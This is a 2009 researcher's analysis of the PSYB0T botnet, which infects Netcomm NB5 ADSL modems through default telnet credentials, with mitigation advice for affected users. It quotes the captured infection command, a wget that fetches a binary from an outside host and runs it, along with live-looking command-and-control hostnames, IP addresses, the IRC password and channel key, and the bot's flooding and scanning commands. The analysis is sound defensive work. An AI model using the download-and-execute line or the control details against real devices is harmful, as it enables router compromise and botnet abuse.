Netcomm NB5 Botnet – PSYB0T 2.5L

11th January, 2009

Terry Baume
terry.baume@gmail.com

Should you have any additional information, please email me.

It appears that Netcomm NB5 ADSL modems are not the only devices affected by this bot.

Modems with similar hardware configurations (unknown brands) from Italy, Brazil, Ecuador, Russia, Ukraine, Turkey, Peru, Malaysia, Columbia, India and Egypt (and likely more countries) also seem to be affected, and are spreading the bot.

Introduction:

The NB5 was a popular ADSL/ADSL2+ modem-router, produced by Netcomm circa 2005. The NB5 is based on the Texas Instruments TNETD7300, featuring a 32bit RISC MIPS 4KEc V4.8 processor, 2MB of flash ROM, 8MB of RAM, Ethernet + USB connectivity, and runs an embedded Linux distribution.

Stored in the 2MB ROM is the ADAM2 bootloader, MontaVista Linux 2.4.17 kernel & a read only file system.

The NB5 offers a web interface, as well as SSH and telnet interfaces.

Connecting to the NB5 with telnet spawns a session of the modem CLI, used for configuring the modem. A Linux ash shell can be spawned by issuing the command 'shell':

```
BusyBox on localhost login: root
Password:
DSL Modem CLI
Copyright (c) 2004 Texas Instruments, Inc.
cli> shell

Starting /bin/sh
Type exit to return to the CLI

BusyBox v0.61.pre (2007.02.27-08:37+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

#
```

The NB5 includes several binaries one might expect to find on a Linux machine – ls, cat, wget, etc.

Given that the NB5 features a MIPS processor & is based upon a Linux platform, it is trivial to compile binaries to run on the modem using a cross compiler. These can then be loaded onto the modem using wget, made executable & run.

As the NB5's filesystem is read only & RAM based, any binaries loaded onto the modem (unless it is re-flashed) will be erased upon the modem being rebooted.

Botnet & malicious uses

Several revisions of the NB5 modem shipped with a flaw which meant that the web configuration interface was visible from the WAN side, accepting connections and allowing users to administer the modem using the default username and password of 'admin' from outside the LAN. Furthermore, some of these modems suffered from another flaw, meaning that by default, authentication was not enabled for the web interface – meaning **no username or password** was required.

These flaws were rectified by Netcomm in later firmware revisions.

Modems affected by these vulnerabilities did not only accept connections via their web interface, they also accepted connections via their ssh/telnet interfaces, allowing root logins with the default password of 'admin'.

Thanks to the relatively large number of vulnerable NB5 modems in circulation, and the ease in which custom code can be run on these devices, malicious use of these devices has started to become common.

It would appear that a botnet is being built around vulnerable NB5 units(and possibly other modems). The observed mechanism of action is as follows:

- Vulnerable modem is located & connected to via Telnet
- Root login is performed, shell is spawned
- Custom binary is downloaded & executed

Once this binary has been executed, the modem joins the botnet, performing the following actions:

- Any further telnet/ssh connection attempts are rejected
- Connection to a private IRC server established with a random nickname
- Joins pre-determined IRC channel to receive commands

Once the compromised modem has joined the botnet, it will begin to scan for other vulnerable modems, connect to them & infect them, making them part of the botnet.

Conclusion:

At the time of writing, no commands (asides from those in the channel topic) to the bots have been captured. The channel topic was set on the 11th of December, 2008. It would appear that the botnet is currently lying dormant, perhaps allowing the number of infected units to increase. In the 2 days since I noticed infection attempts in my firewall logs, the rate of attempts (from unique IP's) has increased from approx 2 per hour to 20 per hour – this certainly suggests that numbers are building.

This is the first botnet I've heard of that infects embedded devices. It is easy to imagine this being very confusing for end users, especially if their ISP's send them emails explaining that they may have a virus on their computer when the botnet is inevitably used for spamming or other questionable activities. Most users also leave their DSL modems powered on 24 hours a day, meaning that the numbers of active hosts in this botnet would remain quite high at all times.

Given that it runs on the users internet gateway, the botnet is uniquely positioned such that the operators could issue iptables commands to redirect traffic to phishing sites, alter DNS results, etc. Most users would be totally oblivious if DNS queries were hijacked via their modem & banking websites, PayPal, eBay, etc resolved to phishing sites setup for the gain of the botnet operators.

Am I at risk?

Not all versions of the NB5 are susceptible to this attack. If the modem presents a telnet interface to its WAN interface, and the default password has not been changed, then it is susceptible.

To reduce chance of infection, users of NB5's should change the default password for the modem's interface, and reboot their devices. Once this is completed, the firmware of the unit should be upgraded to the latest version as soon as possible.

The remainder of this document focuses on the specifics of the botnet & it's methods of action.

Infection

Once a vulnerable modem has been located, a root login is performed and a shell is spawned:

```
BusyBox on localhost login: root
Password:
DSL Modem CLI
Copyright (c) 2004 Texas Instruments, Inc.
cli> shell

Starting /bin/sh
Type exit to return to the CLI

BusyBox v0.61.pre (2007.02.27-08:37+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
```

Next, a file is removed (if existing):

```
# rm -f /var/tmp/udhcpc.env
```

The presence of wget appears to be tested for:

```
# wget
BusyBox v0.61.pre (2007.02.27-08:37+0000) multi-call binary

Usage: wget [-c|--continue] [-q|--quiet] [-O|--output-document file]
        [--header 'header: value'] [-Y|--proxy on/off] [-P DIR] url
```

A binary is downloaded from 'http://dweb.webhop.net/.bb/udhcpc.env', saved to /var/tmp, made executable, and run in the background:

```
# wget http://dweb.webhop.net/.bb/udhcpc.env -P /var/tmp && chmod +x /var/
tmp/udhcpc.env && /var/tmp/udhcpc.env &
Set PR mark for socket 0x7 = 239
udhcpc.env           100% |*****************************| 33744
00:00 ETA
#
```

This location and filename seem to be chosen in an attempt to conceal the bot – udhcpc (http://en.wikipedia.org/wiki/Udhcpc) is the DCHP client in use on the NB5.

The telnet session is ended, the modem will now no longer accept telnet or SSH sessions (seems to be to prevent re-infection of an already compromised unit).

Disassembly reveals the following iptables rule being added at runtime:

```
# iptables -A INPUT -p tcp --dport 23 -j DROP
```

Connection

Once the modem has been infected, it connects to an IRC server to receive instructions.

The modem resolves the A record for 'strcpy.us.to', which appears to be a round robin for several servers:

```
strcpy.us.to = 202.71.102.110 (Malaysia)
strcpy.us.to = 202.67.218.33 (Hong Kong)
strcpy.us.to = 216.199.217.170 (USA)
strcpy.us.to = 207.155.1.5 (USA)
```

The modem then connects to one of these IP addresses on port 5050, to a password protected IRC server using a randomly generated nickname beginning with '[NIP]-'.

```
Client: PASS $!0@
Client: NICK [NIP]-IBM6N4SKA
Client: USER YSNARFAL "ask0.org" "FCK" :YSNARFAL

Server: :leaf.4714.com 001 [NIP]-IBM6N4SKA :BBNet, [NIP]-IBM6N4SKA!
YSNARFAL@114-30-XXX-XX.ip.adam.com.au

Server: :leaf.4714.com 005 [NIP]-IBM6N4SKA MAP KNOCK SAFELIST HCN
MAXCHANNELS=10 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307
MAXTARGETS=15 AWAYLEN=307 :are supported by this server

Server: :leaf.4714.com 005 [NIP]-IBM6N4SKA WALLCHOPS WATCH=128 SILENCE=15
MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+
CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=BBNet CASEMAPPING=ascii
EXTBAN=~,cqr :are supported by this server

Server: :[NIP]-IBM6N4SKA MODE [NIP]-IBM6N4SKA :+i

Server: PING :leaf.4714.com

Client: PONG leaf.4714.com
```

Channel #mipsel is then joined with a key of '%#8b'.

```
Client: JOIN #mipsel %#8b

Server: :[NIP]-IBM6N4SKA!YSNARFAL@114-30-XXX-XX.ip.adam.com.au JOIN
:#mipsel

Server: :leaf.4714.com 332 [NIP]-IBM6N4SKA #mipsel :.silent on .killall
.lscan .rlscan .esel [US],[FR],[IT],[GB],[ES],[DE] rejoin 10800 10800

Server: :leaf.4714.com 333 [NIP]-IBM6N4SKA #mipsel DRS 1228994845

Server: :leaf.4714.com 353 [NIP]-IBM6N4SKA @ #mipsel :[NIP]-IBM6N4SKA

Server: :leaf.4714.com 366 [NIP]-IBM6N4SKA #mipsel :End of /NAMES list.
```

The channel modes for #mipsel are +qaohv - the list of users currently connected is not advertised to clients, nor are join & part messages (+q) – meaning that it is not possible to tell how many bots are currently connected, or how frequently bots are connecting/disconnecting.

At the time of writing, the IRC topic is '.silent on .killall .lscan .rlscan .esel [US],[FR],[IT],[GB],[ES],[DE] rejoin 10800 10800'. This topic is parsed by the bots as a command on connecting, resulting in them scanning for more vulnerable modems to infect, and reconnecting to the IRC server for new instructions every three hours (10800 secs).

Connecting to an infected modem and examining the process list shows many instances of pnscan (http://www.lysator.liu.se/~pen/pnscan/) running.

Disassembly

Disclaimer: I am by no means experienced in disassembly. My attempts at disassembling this bot did not yield much information – perhaps someone can go further than I.

The binary udhcpc.env is packed with the executable packer UPX (http://upx.sourceforge.net/). After unpacking, size increases from ~33kb to ~133kb, and the binary can now be disassembled using a MIPS capable disassembler, such as RecStudio (http://www.backerstreet.com/rec/rec2.htm).

Of particular interest to me were the strings contained in the disassembled bot, which provide insight into the bots capabilities.

The following appear to be commands that the bot is capable of interpreting, along with possible meanings:

- .mode
- .login – allows the botnet operator to assume control of the bot(s)
- .logout – relinquish control of the bot
- .exit
- .sh – perhaps pass shell commands to the modem
- .tlist
- .kill
- .killall
- .silent – disables bot output to the channel
- .getip – returns the bots external IP address
- .visit – seems to have the bot download HTTP pages repeatedly
- .scan
- .rscan
- .sleep
- .sel
- .esel
- .rejoin – has the bot leave and then rejoin the irc channel after the specified number of seconds
- .upgrade – possibly download the latest version of the bot and execute it
- .ver – returns the version of the bot, in this instance [PRIVATE] PSYB0T 2.5L
- .rs – some association with rapidshare, bot contains strings for HTML rapidshare login pages
- .wget – download files via wget
- .lscan
- .rlscan
- .getinfo
- .rsgen
- .vsel
- .split
- .gsel
- .sflood – SYN flood?
- .uflood – UDP flood?
- .iflood – ICMP (ping) flood?
- .pscan – ping scanning?
- .fscan -FTP scanning?
- .r00t
- .sql
- .pma
- .socks – act as SOCKS proxy?
- .rsloop